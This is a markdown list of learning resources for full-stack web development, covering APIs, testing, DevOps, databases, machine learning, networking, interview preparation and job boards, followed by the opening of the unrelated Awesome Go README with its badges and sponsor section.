2. [**Networking**](https://github.com/kevindeasis/awesome-fullstack#networking)
3. **API / RESTful Service**
- [Awesome REST](https://github.com/marmelab/awesome-rest)
- [Awesome API](https://github.com/Kikobeats/awesome-api)
- [HTTP API Design Guide](https://geemus.gitbooks.io/http-api-design/content/en/index.html)
4. **Serverless**
5. [**Command Line**](https://github.com/kevindeasis/awesome-fullstack#command-line)
6. **Hosting**
7. **Micro Services**
8. [Testing](http://stackoverflow.com/questions/520064/what-is-unit-test-integration-test-smoke-test-regression-test)
1. [Unit Test](https://github.com/kevindeasis/awesome-fullstack#unit-testing)
2. [Integration Test / Functional Test](https://github.com/kevindeasis/awesome-fullstack#integration-testing)
3. [Smoke Test (Sanity check)](https://github.com/kevindeasis/awesome-fullstack#smoke-testing)
4. [Regression Test](https://github.com/kevindeasis/awesome-fullstack#regression-testing)
5. [Acceptance Test](https://github.com/kevindeasis/awesome-fullstack#acceptance-testing)
6. [Systems Test](https://github.com/kevindeasis/awesome-fullstack#systems-testing)
7. [Flagging Test](https://github.com/kevindeasis/awesome-fullstack#flagging-test)
8. [End to End Test](https://github.com/kevindeasis/awesome-fullstack#end-to-end-testing)
9. [Blogs](http://googletesting.blogspot.ca/2015/04/just-say-no-to-more-end-to-end-tests.html)
9. [**OWASP**](https://www.owasp.org/index.php/Main_Page)
10. [**Dev Ops / Environment/ Continous Integration**](https://github.com/kevindeasis/awesome-fullstack#dev-ops-continuous-deliveryintegrationdeployment)
11. **Tools**
- [Postman](https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop?hl=en)
- [Wire shark](https://www.wireshark.org/)
12. **Configuration Management (CM) / Server Management**
- [Salt](https://saltstack.com/)
- [Puppet](https://puppet.com/)
- [Chef](https://www.chef.io/)
- [Ansible](https://www.ansible.com/)
- [Docker](https://github.com/veggiemonk/awesome-docker)
- [Kubernetes](kubernetes.io/)
- [Docker Compose](https://docs.docker.com/compose/)
13. [**Platforms**](https://github.com/kevindeasis/awesome-fullstack#platforms)
- PAAS
- [AWS](https://github.com/kevindeasis/awesome-fullstack#aws)
- [Heroku](https://www.heroku.com/)
- [Google Cloud App Engine](https://cloud.google.com/appengine/docs)
- IAAS
- [Digital Ocean](https://www.digitalocean.com/)
- [Open Shift](https://www.openshift.com/)
- [GCE](https://cloud.google.com/compute/)
- [AWS](http://aws.amazon.com/)
- BAAS
- [Compose](https://compose.io/)
- [firebase](https://www.firebase.com/)
- [pusher](https://pusher.com/)
- [pubnub](https://www.pubnub.com/)
- [Self Hosting](https://github.com/Kickball/awesome-selfhosted)
14. **Checklist**
- [Checklist](https://securitychecklist.org/)
- [Linux](https://github.com/lfit/itpol/blob/master/linux-workstation-security.md)
# Back-end tier (Database)
>Stores and retrieves your data
>1. [**Sql**](https://github.com/kevindeasis/awesome-fullstack#sql)
2. [**NoSql**](https://github.com/kevindeasis/awesome-fullstack#nosql)
3. [**NewSql**](https://en.wikipedia.org/wiki/NewSQL)
4. **Caching**
5. **Search**
6. [**Data Sets**](https://github.com/caesar0301/awesome-public-datasets)
7. [**Data Mining**](http://guidetodatamining.com/)
# Distributed Systems
> Fundamentals Include: Cap Theorem, FLP Impossibility Theorem, Bimodal Multicast, Raft / Paxos, Lamport Time
- [MIT 6.824](http://nil.csail.mit.edu/6.824/2015/)
- [Ed X](https://www.edx.org/course/reliable-distributed-algorithms-part-1-kthx-id2203-1x)
- [Washington CSE 452](https://courses.cs.washington.edu/courses/cse452/16wi/calendar/lecturelist.html)
# Dev Ops, Continuous Delivery/Integration/Deployment
> The practice of collaborating for software deployment
- [Awesome Distributed Systems](https://github.com/theanalyst/awesome-distributed-systems)
- [Dev Ops](https://github.com/kevindeasis/awesome-fullstack#dev-ops)
- Continuous integration
- Continuous delivery
- Continuous deployment
- Feature toggle
- Artifacts
- Rollbacks
- **Tools**
1. [Jenkins](https://jenkins.io)
2. [Travis](https://travis-ci.org)
3. [Habitat.sh automation](https://www.habitat.sh/)
4. [Vagrant](https://www.vagrantup.com/)
5. [Docker](https://github.com/veggiemonk/awesome-docker)
- **Cluster Management / Containers / Infrastructure**
1. [Kubernetes](http://kubernetes.io/)
2. Docker + Vagrant
3. [Terraform](https://www.terraform.io/)
#Software Product Management
> The process of manging the task to deploy a product/feature
- [Agile Manifesto](http://agilemethodology.org/)
- [Software Development Process](https://en.wikipedia.org/wiki/Software_development_process)
- [Software Requirements Specifications](https://en.wikipedia.org/wiki/Software_requirements_specification)
- [Software Requirements](http://www.tutorialspoint.com/software_engineering/software_requirements.htm)
- [Joel Test: 12 Steps to Better Code](http://www.joelonsoftware.com/articles/fog0000000043.html)
- [Code Review](https://github.com/thoughtbot/guides/tree/master/code-review)
# Algorithms and Data Structures
> Algorithms, DataScience AI, and ML
- [Foundations of Data Science](https://news.ycombinator.com/item?id=12659141)
- [Better Explained](http://betterexplained.com/)
- [MIT ALgorithms](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-006-introduction-to-algorithms-fall-2011/)
- [Hacker Rank](https://www.hackerrank.com/domains)
- [Topcoder](https://www.topcoder.com/)
- [Coursera Stanford](https://www.coursera.org/course/algo)
- [Coursera Princeton](https://www.coursera.org/course/algs4partI)
- [Erik Demaine Classes](http://erikdemaine.org/classes/)
- [Udacity](https://www.udacity.com/course/intro-to-algorithms--cs215)
- [OEDB list](http://oedb.org/open/search-results/?search-term=algorithm)
- [ACM introduction to programming contest stanford](http://web.stanford.edu/class/cs97si/)
- [Competitive programming course](https://algo.is/t-414-aflv-competitive-programming-course-2016/)
## Machine Learning and AI
- [Artificial Intelligence Lecture Videos](https://news.ycombinator.com/item?id=12667761)
- [Free Machine Learning Books](https://hackerlists.com/free-machine-learning-books/)
- [Awesome ML](https://github.com/josephmisiti/awesome-machine-learning)
- [Andrew Ng Coursera](https://www.coursera.org/learn/machine-learning)
- [Awesome AI courses](https://github.com/prakhar1989/awesome-courses#artificial-intelligence)
- [Berkeley Intro to AI](http://ai.berkeley.edu/lecture_videos.html)
- [Berkeley Intro to AI 2015 version](https://www.youtube.com/playlist?list=PL-XXv-cvA_iA4YSaTMfF_K_wvrKAY2H8u)
- [Berkeley Deep Reinforcement Learning](http://rll.berkeley.edu/deeprlcourse/)
- [Udacity Intro To ML](https://www.udacity.com/course/intro-to-machine-learning--ud120)
- [MIT 6.034](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-034-artificial-intelligence-fall-2010/lecture-videos/)
- [Neural Networks & Deep Learning](http://neuralnetworksanddeeplearning.com/index.html)
- [Data Sets](https://github.com/caesar0301/awesome-public-datasets)
- [Open AI Generative Models](https://openai.com/blog/generative-models/)
- [Machine learning books by r/MachineLearning](https://www.reddit.com/r/MachineLearning/comments/1jeawf/machine_learning_books/)
- [Machine learning by r/MachineLearning/wiki/index](https://www.reddit.com/r/MachineLearning/wiki/index)
- [CMU ML course](http://www.cs.cmu.edu/~awm/10701/)
- [Statistical learning theory](http://people.eecs.berkeley.edu/~jordan/courses/281A-fall07/)
- [Berkeley ML](http://inst.eecs.berkeley.edu/~cs188/sp08/lectures.html)
- [Statistical learning theory](http://people.eecs.berkeley.edu/~jordan/courses/281A-fall07/)
- [Stanford 229](http://cs229.stanford.edu/)
## Deep Learning-ish
>[Skills to for machine learning by OpenAI CTO, Greg Brockman](https://www.quora.com/What-are-the-best-ways-to-pick-up-Deep-Learning-skills-as-an-engineer/answer/Greg-Brockman?srid=cgo&share=d1ac0da2)
- [Machine Learning is Fun](https://medium.com/@ageitgey/machine-learning-is-fun-80ea3ec3c471#.runmpceje)
- [Deep Learning Book](https://github.com/HFTrader/DeepLearningBook)
- [How to start deep learning](http://ofir.io/How-to-Start-Learning-Deep-Learning/)
- [Hello Tensor Flow](https://www.oreilly.com/learning/hello-tensorflow)
- [MIT deep learning press book](http://www.deeplearningbook.org/)
- [Reinforcement learning an introduction](https://webdocs.cs.ualberta.ca/~sutton/book/ebook/the-book.html)
- [Reinforcement Learning at georgia tech](https://www.udacity.com/course/reinforcement-learning--ud600)
## Other Domains in CS
- [Statistics Self Study](https://news.ycombinator.com/item?id=12703032)
- [Scientific python cheat sheet](https://ipgp.github.io/scientific_python_cheat_sheet/)
- [Nengo: simulate large scale brain models](https://github.com/nengo/nengo)
- [Statistics for hackers](https://www.youtube.com/watch?v=L5GVOFAYi8k)
- [Statistics without pain](https://www.youtube.com/watch?v=5Dnw46eC-0o&feature=youtu.be)
# Paradigms
> [Programming Paradigms](https://en.wikipedia.org/wiki/Programming_paradigm)
# Community
> Find people who share your collective identity
1. [Stackoverflow](http://stackoverflow.com)
2. [HN](http://news.ycombinator.com)
3. [Reddit](http://reddit.com/r/programming)
# HTML Intro
- [Khan Academy](https://www.khanacademy.org/computing/computer-programming/html-css)
- [Free Code Camp](https://www.freecodecamp.com/challenges/say-hello-to-html-elements)
- [Code Academy](https://www.codecademy.com/learn/web)
- [https://www.codeschool.com/learn/html-css](https://www.codeschool.com/learn/html-css)
- [Shayhowe](http://learn.shayhowe.com/html-css/building-your-first-web-page/)
- [W3C HTML5 Tutorial](http://www.w3schools.com/html/)
- [Mozilla](https://developer.mozilla.org/en-US/Learn/HTML/Introduction_to_HTML/Getting_started)
- [Everything Html Head](https://github.com/joshbuchea/HEAD)
# CSS Intro
- [Khan Academy](https://www.khanacademy.org/computing/hour-of-code/hour-of-html/p/css-basics)
- [Free Code Camp](https://www.freecodecamp.com/challenges/use-css-selectors-to-style-elements)
- [w3c](http://www.w3schools.com/css/)
- [Learn Layout](http://learnlayout.com/margin-auto.html)
- [Shayhowe](http://learn.shayhowe.com/html-css/getting-to-know-css/)
- [Egghead](https://egghead.io/technologies/css)
- [msdn](https://channel9.msdn.com/Series/JavaScript-Fundamentals-Development-for-Absolute-Beginners)
- [FlexBox](https://github.com/cjcenizal/flexbox-patterns)
- [Awesome FlexBox](https://github.com/afonsopacifer/awesome-flexbox)
- [Awesome CSS](https://github.com/sotayamashita/awesome-css)
- [Load Spinners](http://github.danielcardoso.net/load-awesome/animations.html)
# JS Intro
- [Free Code Camp](https://www.freecodecamp.com/challenges/comment-your-javascript-code)
- [w3c](http://www.w3schools.com/js/)
- [codeacademy](https://www.codecademy.com/learn/javascript)
- [egghead](https://egghead.io/technologies/js)
- [codeschool](https://www.codeschool.com/learn/javascript)
- [Stackoverflow Resource](http://stackoverflow.com/tags/javascript/info)
# Jquery Intro
- [Free code camp](https://www.freecodecamp.com/challenges/learn-how-script-tags-and-document-ready-work)
# JS Intermediate
- [AirBNB: JS Style Guide](https://github.com/airbnb/javascript)
- [Reddit learnjs](https://www.reddit.com/r/learnjavascript/top/)
- [YDKSJS](https://github.com/getify/You-Dont-Know-JS)
- [Eloquent JS](http://eloquentjavascript.net/)
- [Codementor](https://www.codementor.io/learn-javascript-online)
- [ES6](https://github.com/ericdouglas/ES6-Learning)
# Awesome JS List
- [Awesome JS:Browser](https://github.com/sorrycc/awesome-javascript)
- [Awesome JS:Learning Guide](https://github.com/wwsun/awesome-javascript)
- [Awesome Promises](https://github.com/wbinnssmith/awesome-promises)
- [Awesome Books](https://github.com/wbinnssmith/awesome-promises)
# React
- [awesome react](https://github.com/enaqx/awesome-react)
# Redux
- [awesome redux](https://github.com/xgrommx/awesome-redux)
# React Native
- [Official](https://facebook.github.io/react-native/)
- [Awesome React Native](https://github.com/jondot/awesome-react-native)
- [React Native](https://rnplay.org)
- [Resource](http://www.reactnative.com/)
- [Egg Head](https://egghead.io/lessons/react-react-native-up-and-running?series=react-native-fundamentals)
- [JS coach](https://js.coach/react-native)
# Server side
> Server side programming different languages
# Server Erlang
- [Elixir/Erlang](http://www.phoenixframework.org/docs/learning-elixir-and-erlang)
- [StackOverflow Erlang](http://stackoverflow.com/tags/erlang/info)
# Go Server
- [A tour of golang](https://tour.golang.org/welcome/1)
- [Go Wiki](https://github.com/golang/go/wiki/Learn)
- [Stack Overflow Go](http://stackoverflow.com/tags/go/info)
- [Awesome Go](https://github.com/avelino/awesome-go)
- [Awesome Go China](https://github.com/hyper-carrot/awesome-go-China)
# Javascript Server
- [Node School](http://nodeschool.io/)
- [Stackoverflow Resource](http://stackoverflow.com/tags/javascript/info)
- [LearnCode.Academy](https://www.youtube.com/watch?v=pU9Q6oiQNd0&list=PLoYCgNOIyGAACzU6GliHJDp4kmOw3NFsh)
- [Code School](https://www.codeschool.com/courses/real-time-web-with-node-js)
- [Art of Node](https://github.com/maxogden/art-of-node/#the-art-of-node)
- [Tutorials Point](http://www.tutorialspoint.com/nodejs/)
- [Express](http://expressjs.com/)
- [Node/Sails/Socket.IO/Angular/Mongo](https://courses.platzi.com/courses/develop-apps-sails-js/)
- [node tuts](http://nodetuts.com/)
- [Airbnb style guide](https://github.com/airbnb/javascript)
- [node.Js best practices](https://github.com/alanjames1987/Node.js-Best-Practices)
- [awesome nodejs](https://github.com/sindresorhus/awesome-nodejs)
# Ruby
- [Ruby by dreikanter](https://github.com/dreikanter/ruby-bookmarks)
- [Ruby by markets](https://github.com/markets/awesome-ruby)
- [Ruby by Sdogruyol](https://github.com/Sdogruyol/awesome-ruby)
- [Awesome Rails](https://github.com/ekremkaraca/awesome-rails)
- [Stackoverflow Ruby Resources](http://stackoverflow.com/tags/ruby/info)
# Networking
- [Online Course: Computer Networking Playlist](https://www.youtube.com/watch?v=d4_7dUFl4v0&list=PLkHsKoi6eZnzJl1qTzmvBwTxrSJW4D2Jj)
- [Beej's Guide to Network Programming](http://beej.us/guide/bgnet/output/html/multipage/index.html)
- [LearnCode.Academy: How the Internet Works](https://www.youtube.com/watch?v=e4S8zfLdLgQ)
- [Eli the computer guy on youtube: Networking](https://www.youtube.com/playlist?list=PLF360ED1082F6F2A5)
- [danscourses: youtube channel](https://www.youtube.com/user/danscourses/featured)
- [Professor Messer](http://www.professormesser.com/network-plus/n10-005/free-network-plus/)
- [Professor Messer (Youtube)](https://www.youtube.com/channel/UCkefXKtInZ9PLsoGRtml2FQ)
- [Andrew Crouthamel (Youtube): CCNA/CNET](https://www.youtube.com/playlist?list=PLmdYg02XJt6QRQfYjyQcMPfS3mrSnFbRC)
- [Router Alley Guides](http://www.routeralley.com/guides.html)
- [Stanford](https://lagunita.stanford.edu/courses/Engineering/Networking-SP/SelfPaced/about)
- [Warriors of the net: Video](https://www.youtube.com/watch?v=PBWhzz_Gn10)
- [Tuts +: HTTP](http://code.tutsplus.com/tutorials/http-the-protocol-every-web-developer-must-know-part-1--net-31177)
- [MIT](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-829-computer-networks-fall-2002/index.htm)
- [Cheat SHeet](http://packetlife.net/library/cheat-sheets/)
- [Subnetting Practice](http://subnettingpractice.com/howto.html)
- [Reddit CCNA](https://www.reddit.com/r/ccna/)
- [Subnet made easy](https://docs.google.com/document/u/1/d/1O84JC1KnLFYUNo2CUYCtvEtJkkiM05uOATxaA1hlz6Y/mobilebasic?pli=1)
- [Cisco from scratch](http://ciscoiseasy.blogspot.ca/)
- [Cisco Learning Network](https://learningnetwork.cisco.com/welcome)
- [SDN: Software Defined Networking Coursera](https://www.coursera.org/course/sdn1)
- [Cloud Computing](https://www.coursera.org/course/cloudcomputing)
- [Cloud Networking](https://www.coursera.org/course/cloudnetworking)
- [Internet Emerging Tech](https://www.coursera.org/learn/internet-technologies)
- [GNS3 Academy](http://academy.gns3.com/)
## DNS
- [DNS the good parts](https://www.petekeen.net/dns-the-good-parts)
## Computer Networking and Security
- [Ryan Lindfield](https://www.youtube.com/user/ryan813/about)
# Command Line
- [Commands for different operating system](http://ss64.com/)
- [Awesome command line](https://github.com/herrbischoff/awesome-osx-command-line)
- [Art of command line](https://github.com/jlevy/the-art-of-command-line)
- [Awesome OSX command line](https://github.com/herrbischoff/awesome-osx-command-line)
- [Data Science command line](http://datascienceatthecommandline.com/)
- [Fish](http://fishshell.com/)
- [Syntax Highlighting](https://github.com/zsh-users/zsh-syntax-highlighting)
# Git
- [Git tips](https://github.com/git-tips/tips)
- [github desktop](https://desktop.github.com/)
- [xhacker github extensions](https://github.com/xhacker/awesome-github-extensions)
- [stefan github extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github)
- [awesome tooling and resources in chrome devtools ecosystem](https://github.com/ChromeDevTools/awesome-chrome-devtools)
# Serverless
- [Horizon](http://horizon.io/)
- [Lambda](http://docs.aws.amazon.com/lambda/latest/dg/welcome.html)
# Microservices
- [awesome microservices](https://github.com/mfornos/awesome-microservices)
# [Unit Testing](https://en.wikipedia.org/wiki/Unit_testing)
- [Martin Fowler](http://martinfowler.com/bliki/UnitTest.html)
# [Integration Testing](https://en.wikipedia.org/wiki/Integration_testing)
# [Smoke Testing](https://en.wikipedia.org/wiki/Smoke_testing_(software))
# [Regression Testing](https://en.wikipedia.org/wiki/Regression_testing)
# [Acceptance Testing](https://en.wikipedia.org/wiki/Acceptance_testing)
# [Systems Testing](https://en.wikipedia.org/wiki/System_testing)
# [Flagging Test](https://en.wikipedia.org/wiki/Feature_toggle)
> a.k.a. feature toggle
# [End to End Testing](http://stackoverflow.com/questions/19378183/difference-between-system-testing-and-end-to-end-testing)
# Sql
- [Awesome Sql](https://github.com/shlomi-noach/awesome-mysql/blob/gh-pages/index.md)
- [Setting Up SQL/ PostgreSQL](https://github.com/snowplow/snowplow/wiki/Setting-up-PostgreSQL)
- [Bostongis: Postgis](http://www.bostongis.com/)
- [Boundless geo: Postgis](http://workshops.boundlessgeo.com/suiteintro/postgis/index.html)
- [Archaeogeek: Postgis](http://www.archaeogeek.com/portable-gis.html)
- [Dublin Institute: Postgis](http://www.comp.dit.ie/pbrowne/Spatial%20Databases%20SDEV4005/Spatial%20Databases%20SDEV4005.htm)
- [osgeo posgis wiki: Postgis](http://trac.osgeo.org/postgis/wiki/UsersWikiTutorials)
- [Postgis in action: Postgis](https://www.manning.com/books/postgis-in-action-second-edition)
# NoSQL
- Data Modelling
- [NoSql Data Modelling Techniques 2012](https://highlyscalable.wordpress.com/2012/03/01/nosql-data-modeling-techniques/)
- Realtime
- [Awesome RethinkDB by analytik](https://github.com/analytik/awesome-rethinkdb)
- [Awesome RethinkDB by d3viant0ne](https://github.com/d3viant0ne/awesome-rethinkdb)
- Document
- Key Value
- Memory / Caching
- Column
# Dev Ops
- [Amazon Web Services — a practical guide](https://github.com/open-guides/og-aws)
- [awesome continuous integration and delivery](https://github.com/ciandcd/awesome-ciandcd)
- [awesome sysadmin](https://github.com/kahun/awesome-sysadmin)
- [awesome microservice](https://github.com/mfornos/awesome-microservices)
- [Continuous Integration / Delivery / Dev Ops](https://github.com/ciandcd/awesome-ciandcd)
- [CD](https://blog.risingstack.com/continuous-deployment-of-node-js-applications/)
# Infrastructure
- [Sysadmincats](https://sysadmincasts.com/)
- [Bash Academy](http://www.bash.academy/)
- [Smart Bear](https://smartbear.com/learn/code-review/best-practices-for-peer-code-review/)
- [Fog Creek](http://blog.fogcreek.com/effective-code-reviews-9-tips-from-a-converted-skeptic/)
- [Methods and Tools](http://www.methodsandtools.com/archive/archive.php?id=66)
- [Self Hosting](https://github.com/Kickball/awesome-selfhosted)
# Configuration Management
- [Docker](https://www.docker.com/what-docker)
- [LearnCode.Academy: Docker](https://www.youtube.com/watch?v=pGYAg7TMmp0)
- [Docker cheat sheet](https://github.com/wsargent/docker-cheat-sheet)
# Platforms
- Iaas
- [Awesome AWS](https://github.com/donnemartin/awesome-aws)
- Paas
- [App Engine](https://en.wikipedia.org/wiki/Google_App_Engine)
- [AWS Elastic Beanstalk](http://aws.amazon.com/elasticbeanstalk/)
- [Open Shift](https://en.wikipedia.org/wiki/OpenShift)
- [Blue Minx](http://www.ibm.com/cloud-computing/bluemix/)
- [Heroku](https://www.heroku.com/)
- [Azure](https://azure.microsoft.com/en-us/services/app-service/web/)
- BAAS
- [Firebase](https://www.firebase.com/)
- [Pubnub](https://www.pubnub.com/)
- [Pusher](https://pusher.com/)
- [Self Hosted](https://github.com/Kickball/awesome-selfhosted)
# Resource
> Other stuff
- [Awesome courses](https://github.com/prakhar1989/awesome-courses#artificial-intelligence)
- [621+ Programming Resources](https://medium.com/free-stuff/2000-programming-resources-c2c835001216#.2cmo8h11l)
- [LearnCode.academy](https://www.youtube.com/channel/UCVTlvUkGslCV_h-nSAId8Sw)
- [FreeCode Camp](https://www.freecodecamp.com)
- [The Oding Project](The Odin Project)
- [Khan Academy](https://www.khanacademy.org/hourofcode)
- [W3 Schools](http://www.w3schools.com/)
- [Tuts +](http://tutsplus.com/)
- [Coursera](https://www.coursera.org/)
- [Udacity](https://www.udacity.com/)
- [Udemy](https://www.udemy.com/)
- [Codementor](https://www.codementor.io/learn/coding)
- [awesome x 3](https://github.com/t3chnoboy/awesome-awesome-awesome)
- [Front End ](https://github.com/micahgodbolt/front-end-architecture)
- [Micro Service](https://github.com/mfornos/awesome-microservices)
- [Sys admin / Devops etc.](https://github.com/kahun/awesome-sysadmin)
- [squaresce logo generator](https://www.squarespace.com/logo/)
# HTML / CSS /JS Library
- [Codyhouse](https://codyhouse.co/library/)
- [UPlabs](http://www.uplabs.com/)
- [Parallax](https://github.com/pixelcog/parallax.js)
- [Waypoints](https://github.com/imakewebthings/waypoints)
- [Scroll Magic](https://github.com/janpaepke/ScrollMagic)
- [Superscrollorama](https://github.com/johnpolacek/superscrollorama)
- [Scroll Reveal](https://github.com/jlmakes/scrollreveal.js)
- [Typography: Guttenburg Kit](https://github.com/matejlatin/Gutenberg)
- [Distorted Button Effect](https://github.com/codrops/DistortedButtonEffects)
- [Velocity js animation (svg support)](https://github.com/julianshapiro/velocity)
- [Snap.svg](https://github.com/adobe-webplatform/Snap.svg)
- [Reveal](https://github.com/hakimel/reveal.js)
- [Phantom JS](http://phantomjs.org/)
- [Robo Browser](https://github.com/jmcarp/robobrowser)
- [Selenium](http://www.seleniumhq.org/)
- [Nightmare JS](https://github.com/segmentio/nightmare)
- [Daydream](https://github.com/segmentio/daydream)
- [Material UI](http://www.material-ui.com/#/)
# Open Sourcing
- [First Open Source Projects to Contribute to](http://up-for-grabs.net/#/)
- [Blog about beginner open source](https://medium.com/@kentcdodds/first-timers-only-78281ea47455#.uki6osi6z)
- [Code Triage](https://www.codetriage.com/)
# Newsletters
- [awesome newsletters](https://github.com/vredniy/awesome-newsletters)
# Blogs
- [highscalability](http://highscalability.com/all-time-favorites/)
- [hired in tech](http://www.hiredintech.com/system-design)
- [bike shed](http://bikeshed.fm/)
- [software engineering daily](http://softwareengineeringdaily.com/category/podcast/)
- [dropbox](https://blogs.dropbox.com/tech/2014/07/open-sourcing-our-go-libraries/)
# Inspirations
- [Showcases](https://github.com/showcases)
- [Trending](https://github.com/trending)
# ELI5
- [Children's Illustrated guide to Kubernetes](https://deis.com/blog/2016/kubernetes-illustrated-guide/)
- [Selinux coloring book](https://github.com/mairin/selinux-coloring-book)
- [Alligator Egg: lambda calculus](http://worrydream.com/AlligatorEggs/)
# Web Scraping
- [Web Scraping in 2016](https://franciskim.co/2016/08/24/dont-need-no-stinking-api-web-scraping-2016-beyond/)
- [HN Discussion](https://news.ycombinator.com/item?id=12345693)
- [Data Mining](http://guidetodatamining.com/)
- [ web scraping](https://news.ycombinator.com/item?id=4893864)
- [Data mining](http://guidetodatamining.com/)
- [Data mining algorithm](https://github.com/linyiqun/DataMiningAlgorithm)
- [mining software repos](https://github.com/dspinellis/awesome-msr)
- [Data mining books](https://www.lenwood.cc/2014/05/13/12-free-data-mining-books/)
- [Data mining algo](http://rayli.net/blog/data/top-10-data-mining-algorithms-in-plain-english/)
- [stackshare](http://stackshare.io/)
# Other
- [Hardware AUtopsy using gameboy](https://www.youtube.com/watch?v=RZUDEaLa5Nw)
- [LaTeX / PDF](http://www.latex-tutorial.com/tutorials/)
- [Git](http://marc.helbling.fr/2014/09/practical-git-introduction)
- [Text Editor](https://www.learnenough.com/text-editor-tutorial)
- [System Programming](https://github.com/angrave/SystemProgramming/wiki)
- [Awesome awesomeness](https://github.com/bayandin/awesome-awesomeness)
- [Awesome](https://github.com/sindresorhus/awesome)
- [Stock Stuff](https://github.com/neutraltone/awesome-stock-resources)
- [APIs](https://github.com/Abhishaker17/Awesome-APIs)
- [Chinese (simplified) to learn full stack](https://github.com/GeniusVJR/LearningNotes)
# Hacking
- [Hacking](https://www.hacksplaining.com/)
- [Awesome Hack](https://github.com/carpedm20/awesome-hacking#ctf-competiton)
- [Awesome Penetration Test]
# Competitions
- [Stupid Hackathon](http://www.stupidhackathon.com/)
- [Devpost Hackathons](http://devpost.com/hackathons)
- [Hacker Rank](https://www.hackerrank.com/)
- [Top Coder](https://www.topcoder.com/)
- [Hack the North](https://hackthenorth.com/)
- [Space Apps Challenge](spaceappschallenge.org)
- [World Hackathon Day](http://worldhackathonday.com/)
- [Dart Lang Hackathon](https://www.dartlang.org/hackathons/2012/happy-hour/)
- [Battle Hack](battlehack.org)
- [Code Eval](https://www.codeeval.com/)
# Resume and Cover Letter
- [Stackoverflow: A new technical resume](https://news.ycombinator.com/item?id=12685700)
- [Resume and Cover Letter Sample](https://www.resumonk.com/resume-examples/software-engineer-resume-examples/software-engineer-sample-resume-%231)
- [Aline Lerner](http://blog.alinelerner.com/lessons-from-a-years-worth-of-hiring-data/)
- [Json Resume](https://jsonresume.org/themes/)
- [Enhance CV](http://www.enhancv.com/)
- [Resume Monk](https://www.resumonk.com/blog/dear-software-engineer-this-is-why-your-resume-was-rejected/)
- [careercup](https://www.careercup.com/resume)
# Interview Preparation
- [Google]
- [andreis curated guide](https://github.com/andreis/interview)
- [David Byttow Post](https://medium.com/always-be-coding/abc-always-be-coding-d5f8051afce2#.szzt4wrh4)
- [David Byttow Post #2](https://medium.com/always-be-coding/four-steps-to-google-without-a-degree-8f381aa6bd5e#.vznuf3phv)
- [Dan Pupius](https://medium.com/@dpup/whiteboarding-4df873dbba2e#.cx0e5uanq)
- [Philip Youssef](http://www.restlessprogrammer.com/2013/09/hacking-coding-interview.html)
- [Carlos Bueno facebook](https://www.facebook.com/notes/facebook-engineering/get-that-job-at-facebook/10150964382448920)
- [leet code](https://leetcode.com/)
- [codwars](https://www.codewars.com/)
- [geek for geeks](http://www.geeksforgeeks.org/)
- [topcoder](https://community.topcoder.com/tc?module=ProblemArchive)
- [codility](https://codility.com/programmers/)
- [quora](https://www.quora.com/Where-can-I-find-difficult-algorithm-data-structure-problems)
- [haseebq](http://haseebq.com/)
- [haseebq](http://haseebq.com/farewell-app-academy-hello-airbnb-part-i/)
- [android interview](https://github.com/fanrunqi/AndroidInterview)
- [land an autonomous vehicle job](https://medium.com/self-driving-cars/how-to-land-an-autonomous-vehicle-job-coursework-e7acc2bfe740#.rjdtvrill)
- [bingo cheat sheet (time complexity)](http://bigocheatsheet.com/)
- [average vs amortized](http://programmers.stackexchange.com/questions/161404/amortized-analysis-worst-case-performance-guarantees)
- [stackexchange amortized vs average](http://programmers.stackexchange.com/questions/161404/amortized-analysis-worst-case-performance-guarantees)
- [salary negotiation](https://fearlesssalarynegotiation.com/book/?utm_medium=social&utm_source=hackernews.com&utm_content=online+book+announcement)
# Jobs
- [awesome interview questions](https://github.com/MaximAbramchuck/awesome-interview-questions)
- [awesome remote job](https://github.com/lukasz-madon/awesome-remote-job)
- [working nomads](http://www.workingnomads.co/jobs)
- [who is hiring](https://news.ycombinator.com/submitted?id=whoishiring)
- [who is hiring](https://whoishiring.io/search/56.130/-105.732/3/?order=distance)
- [stay in tech](https://stayintech.com/info/explore)
- [triple byte](https://triplebyte.com/)
- [angel list](https://angel.co/jobs)
- [job hero weekly](http://www.jobheroweekly.com/)
- [hnhiring](http://hnhiring.me/)
- [simply hired](http://www.simplyhired.com/)
- [hired](https://hired.ca/)
- [lever](https://www.lever.co/)
- [remote bas](https://remotebase.io/)
- [nomad list](https://nomadlist.com/)
- [remote teams](http://oinam.github.io/remote-teams/)
- [we work remotely](https://weworkremotely.com/)
- [betakit](http://betakit.com/jobs/)
- [remoteok](https://remoteok.io/)
- [remotive io google docs](https://docs.google.com/spreadsheets/d/1TLJSlNxCbwRNxy14Toe1PYwbCTY7h0CNHeer9J0VRzE/edit#gid=0)
- [remotive.io jobs](http://jobs.remotive.io/)
- [stackoverflow](https://stackoverflow.com/jobs)
- [github](https://jobs.github.com/)
- [smarthires](https://www.smarthires.io/)
- [white truffle](https://www.whitetruffle.com/#!/)
- [curated opportunities for advanced engineers](https://www.latitude.work/)
|
# Awesome Go
<a href="https://awesome-go.com/"><img align="right" src="https://github.com/avelino/awesome-go/raw/main/tmpl/assets/logo.png" alt="awesome-go" title="awesome-go" /></a>
[](https://github.com/avelino/awesome-go/actions/workflows/tests.yaml?query=branch%3Amain)
[](https://github.com/sindresorhus/awesome)
[](https://gophers.slack.com/messages/awesome)
[](https://app.netlify.com/sites/awesome-go/deploys)
[](https://www.trackawesomelist.com/avelino/awesome-go/)
We use the _[Golang Bridge](https://github.com/gobridge/about-us/blob/master/README.md)_ community Slack for instant communication, follow the [form here to join](https://invite.slack.golangbridge.org/).
<a href="https://www.producthunt.com/posts/awesome-go?utm_source=badge-featured&utm_medium=badge&utm_souce=badge-awesome-go" target="_blank"><img src="https://api.producthunt.com/widgets/embed-image/v1/featured.svg?post_id=291535&theme=light" alt="awesome-go - Curated list awesome Go frameworks, libraries and software | Product Hunt" style="width: 250px; height: 54px;" width="250" height="54" /></a>
**Sponsorships:**
_Special thanks to_
<div align="center">
<table cellpadding="5">
<tbody align="center">
<tr>
<td>
<a href="https://bit.ly/awesome-go-workos">
<img src="https://avelino.run/sponsors/workos-logo-white-bg.svg" width="200" alt="WorkOS"><br/>
<b>Your app, enterprise-ready.</b><br/>
<sub>Start selling to enterprise customers with just a few lines of code.</sub><br/>
<sup>Add Single Sign-On (and more) in minutes instead of months.</sup>
</a>
